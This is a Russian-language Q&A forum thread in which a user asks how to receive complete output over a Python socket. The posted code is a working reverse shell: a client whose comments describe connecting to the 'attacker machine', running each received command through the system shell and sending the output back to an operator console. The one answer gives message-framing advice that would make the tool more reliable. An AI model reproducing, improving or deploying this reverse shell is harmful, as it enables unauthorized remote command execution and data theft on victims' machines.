Задать вопрос
tremo0880
@tremo0880
Inf.Sec

Как получить сообщение целиком используя python socket?

имеется два скрипта клиент и сервер.
Сервер отправляет команды на клиент, а клиент должен их выполнять отправлять вывод на сервер.
Далее описан один из примеровЖ
1.Сервер отправляет команду (ps -aux) на клиент
2.Клиент получает команду и выполяет ее. Затем отправляет результат на сервер. Сервер получает не всю информацию т.к есть ограничение в 8192 байта и часть информации не получена.
Вопрос следующий, как правильно получить всю информацию.
Server
HOST = '192.168.173.1'
        PORT = 2016
        s = socket(AF_INET, SOCK_STREAM)
        s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        s.bind((HOST, PORT))
        print ('Listening on 192.168.173.1:%s' % str(PORT))
        s.listen(10)
        conn, addr = s.accept()
        print ('Connected by',addr)
        data = conn.recv(8192)
        while 1:
             command = input("Enter shell command or quit: ")
             conn.send(command.encode())
             if command == "quit": break
             data = conn.recv(8192)
             print (data.decode())
        conn.close()

Client
HOST = '192.168.173.1'    # The remote host
        PORT = 2016            # The same port as used by the server
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # connect to attacker machine
        s.connect((HOST, PORT))
        # send we are connected
        s.send('[*] Connection Established!')
        # start loop
        while 1:
             # recieve shell command
             data = s.recv(1024)
             # if its quit, then break out and close socket
             if data == "quit": break
             # do shell command
             proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
             # read output
             stdout_value = proc.stdout.read() + proc.stderr.read()
             # send output to attacker
             s.send(stdout_value)
        # close socket
        s.close()
  • Вопрос задан
  • 2883 просмотра
Подписаться 3 Оценить 8 комментариев
Помогут разобраться в теме Все курсы
  • Яндекс Практикум
    Python-разработчик
    10 месяцев
    Далее
  • Skillbox
    Python-разработчик
    10 месяцев
    Далее
  • Нетология
    Fullstack-разработчик на Python + нейросети
    20 месяцев
    Далее
Пригласить эксперта
Ответы на вопрос 1
15432
@15432
Системный программист ^_^
По-хорошему, при использовании TCP следует в самом начале посылать "заголовок", в котором будет указано количество байт в последующем сообщении, чтобы другая сторона знала, сколько ещё байт осталось прочитать из канала. В процессе отправки, пакет может быть разбит на несколько. Например, вы отправляете 8192, а приходит несколько пачек по 1024 байт.
Простой цикл чтения "до тех пор, пока есть данные" сработает на локалхосте, где задержки в передаче минимальны и отсутствуют потери и переотправка.

Хм. ещё можно послать по UDP, там максимальный размер пакета 64 КБ, протокол сам поделит сообщение на куски и соберёт их на другом конце. Так что при чтении сокета получите сразу всё сообщение. Но не гарантируется доставка.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы